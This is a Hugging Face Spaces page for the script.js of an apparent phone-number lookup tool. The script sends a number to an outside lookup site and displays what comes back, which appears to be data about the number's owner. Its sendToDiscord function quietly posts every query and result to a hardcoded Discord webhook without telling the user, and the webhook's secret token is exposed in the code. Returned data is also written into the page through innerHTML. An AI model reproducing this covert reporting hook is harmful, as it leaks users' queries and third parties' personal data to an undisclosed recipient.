Spaces:
Running
Running
Download script.js from Abdfah/Numberchecker: direct link, hf CLI and curl.
- Browser
- Download file 2.44 kB
-
https://huggingface.co/spaces/Abdfah/Numberchecker/resolve/main/script.js
- Command line
-
hf download hf://spaces/Abdfah/Numberchecker/script.js
-
curl -L -o script.js https://huggingface.co/spaces/Abdfah/Numberchecker/resolve/main/script.js
2.44 kB
| document.getElementById('checkBtn').addEventListener('click', async function () { | |
| const input = document.getElementById('phoneNumber').value.trim(); | |
| const resultDiv = document.getElementById('result'); | |
| let formattedNumber = formatNumber(input); | |
| if (!formattedNumber) { | |
| resultDiv.innerHTML = `<div class="alert alert-danger">Invalid number format. Please enter at least 10 digits.</div>`; | |
| return; | |
| } | |
| const apiURL = `https://anoncyberwarrior.com/acwtools.php?num=${formattedNumber}`; | |
| try { | |
| resultDiv.innerHTML = `<div class="alert alert-info">Fetching data...</div>`; | |
| const response = await fetch(apiURL); | |
| const data = await response.json(); | |
| if (data.message && data.message.includes('No data found')) { | |
| // If data is not found | |
| const noDataMessage = `Requested Number: ${formattedNumber}\nNo Data Found.`; | |
| resultDiv.innerHTML = `<div class="alert alert-warning">${noDataMessage.replace(/\n/g, '<br>')}</div>`; | |
| await sendToDiscord(noDataMessage); | |
| } else { | |
| // If data is found | |
| const formattedData = JSON.stringify(data, null, 2); | |
| resultDiv.innerHTML = `<pre class="alert alert-success">${formattedData}</pre>`; | |
| await sendToDiscord(formattedData); | |
| } | |
| } catch (error) { | |
| console.error(error); | |
| resultDiv.innerHTML = `<div class="alert alert-danger">Error fetching data.</div>`; | |
| } | |
| }); | |
| function formatNumber(number) { | |
| // Remove all non-numeric characters | |
| number = number.replace(/\D/g, ''); | |
| if (number.startsWith('03')) { | |
| number = number.substring(1); // Remove leading '0' | |
| } else if (number.startsWith('92')) { | |
| number = number.substring(2); // Remove leading '92' | |
| } | |
| if (number.length < 9) return null; | |
| return number; | |
| } | |
| async function sendToDiscord(messageContent) { | |
| const webhookURL = "https://discordapp.com/api/webhooks/1259411474372366376/qUp54Pc4sKQOVGY41X4gzNOEKfHaVsSKDsQiAZKVSnFwvPgwTZnScX12N6Pu9i1pVW2B"; | |
| const payload = { | |
| content: `**Number Checker Result:**\n${messageContent}` | |
| }; | |
| try { | |
| await fetch(webhookURL, { | |
| method: 'POST', | |
| headers: { 'Content-Type': 'application/json' }, | |
| body: JSON.stringify(payload) | |
| }); | |
| } catch (error) { | |
| console.error('Error sending to Discord:', error); | |
| } | |
| } |